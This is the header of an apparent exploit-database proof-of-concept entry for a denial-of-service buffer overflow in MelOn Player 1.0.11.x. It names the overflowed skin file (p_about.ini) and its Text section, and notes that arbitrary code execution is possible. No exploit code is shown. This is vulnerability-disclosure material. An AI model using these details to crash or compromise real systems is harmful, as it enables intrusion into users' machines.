# Exploit Title: MelOn Player 1.0.11.x Denial of Service POC
# Date: 09/09/2011
# Author: modpr0be
# Software Link: http://www.melon.co.id/cs/guide/download/player.do
# Vulnerable version: 1.0.11.x
# Tested on: Windows XP SP3 (VirtualBox 4.1.0 r73009)
# CVE : N/A
# Thanks: offsec, exploit-db, corelan-team, 5M7X, loneferret, mr_me, _sinner

#### Software description:
# Melon Player is a famous software in Indonesia to play songs that are provided by 
# the Melon portal (http://www.melon.co.id). This software can play any music 
# file types such as mp3, wav, wma, mp4, and others. This player can also play 
# the files on your local computer or by online streaming to the portal Melon. 
# The songs can also be downloaded to your local computer.
#
#### Vulnerable information:
# The main program (IDMelonPlayer.exe) suffers from a buffer overflow vulnerability 
# when opening p_about.ini file (Note: Actually, p_about.ini is a configuration file 
# as part of skin template. This file will bring the program information and can be 
# accessed on the menu (Menu → Information)), as a result of adding extra bytes to 
# parts of the file (Text section), giving the attackers possibility to run an arbitrary 
# code execution on the system that install Melon Player.
#
### Some Conditions:
# This is just the POC, it will just crash the program.
# and it's unicode ;)
#
